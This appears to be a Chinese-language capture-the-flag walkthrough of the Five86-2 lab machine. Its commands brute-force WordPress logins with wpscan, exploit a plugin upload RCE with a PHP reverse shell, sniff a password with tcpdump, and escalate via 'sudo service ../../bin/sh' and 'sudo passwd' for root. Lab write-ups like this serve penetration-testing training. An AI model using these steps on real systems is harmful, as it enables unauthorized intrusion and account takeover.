kali:192.168.111.111
靶机:192.168.111.211
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.211
![](https://img-blog.csdnimg.cn/img_convert/50a1b22542ec67555472665a72dc111f.png)
wpscan收集目标wordpress用户
wpscan --url http://five86-2/ -e u
![](https://img-blog.csdnimg.cn/img_convert/e9e7fe2e5e718cf33a8ecdcf5a269de7.png)
wpscan爆破用户密码
wpscan --url http://five86-2/ -U user.txt -P /usr/share/wordlists/rockyou.txt
![](https://img-blog.csdnimg.cn/img_convert/8c56ee0e484428a87e328ba2fcc40947.png)
使用barney登录wordpress后台,发现插件Insert or Embed Articulate Content into WordPress Trial存在远程代码执行
searchsploit Insert or Embed Articulate
![](https://img-blog.csdnimg.cn/img_convert/8c756e3070dbee999974ae75c960d35a.png)
![](https://img-blog.csdnimg.cn/img_convert/027ba304da6c98d9c213e3e9097c6999.png)
![](https://img-blog.csdnimg.cn/img_convert/cb8462679f379e6e51878cb765bebd19.png)
漏洞利用
创建一个zip压缩包里面包含一个html文件,和php反弹shell
![](https://img-blog.csdnimg.cn/img_convert/83fee66ad32d347c1d7751968f919692.png)
![](https://img-blog.csdnimg.cn/img_convert/64940c26477b253fe717ecadee79befa.png)
![](https://img-blog.csdnimg.cn/img_convert/c6d5a1cc93f98df48d3a8afbd0e8aa5d.png)
![](https://img-blog.csdnimg.cn/img_convert/a2f8674218e0288745bd91e5cda8e28e.png)
上传后文件所在路径
![](https://img-blog.csdnimg.cn/img_convert/8bb227380162cb08e5c8cf701c40dfcd.png)
之后访问php反弹shell
![](https://img-blog.csdnimg.cn/img_convert/f3b60c2be68bf00c87a6054db0996e4c.png)
![](https://img-blog.csdnimg.cn/img_convert/802037451785664e631aa1b3666e1610.png)
提权
使用之前wpscan爆破出的stephen用户的密码切换到stephen用户
![](https://img-blog.csdnimg.cn/img_convert/0139c9c9c0dbca2d28f870a9c356db57.png)
使用linpease.sh收集信息,发现可以使用tcpdump
![](https://img-blog.csdnimg.cn/img_convert/ffe2dca486dd8729c629159d29b2c400.png)
tcpdump抓取流量,获得paul用户密码:paul|esomepasswford
timeout 100 tcpdump -i br-eca3858d86bf
![](https://img-blog.csdnimg.cn/img_convert/db8ce37d7287bb31c15c31914a74c1c7.png)
切换到paul用户查看sudo权限
![](https://img-blog.csdnimg.cn/img_convert/7ea4a7c5657566dbf0812742a63de57c.png)
提权方法:https://gtfobins.github.io/gtfobins/service/#sudo
![](https://img-blog.csdnimg.cn/img_convert/20a89d7150e3a90dab087c6f1c2dcde4.png)
sudo -u peter service ../../bin/sh
![](https://img-blog.csdnimg.cn/img_convert/0b85c3cd68545237cd293853392b1c3b.png)
peter用户sudo权限
![](https://img-blog.csdnimg.cn/img_convert/353c5ddf9900a21e749f9fbc5afb2aa2.png)
用命令passwd修改root用户密码
sudo -u root /usr/bin/passwd
![](https://img-blog.csdnimg.cn/img_convert/bbf37c7b44475b8fe236f575691740bb.png)
切换到root用户
su root
![](https://img-blog.csdnimg.cn/img_convert/b6b6ff7f04198be3a3e7678e15e4b203.png)
获得flag
![](https://img-blog.csdnimg.cn/img_convert/51c94b3e9f87e0fcc74723771cdc8252.png)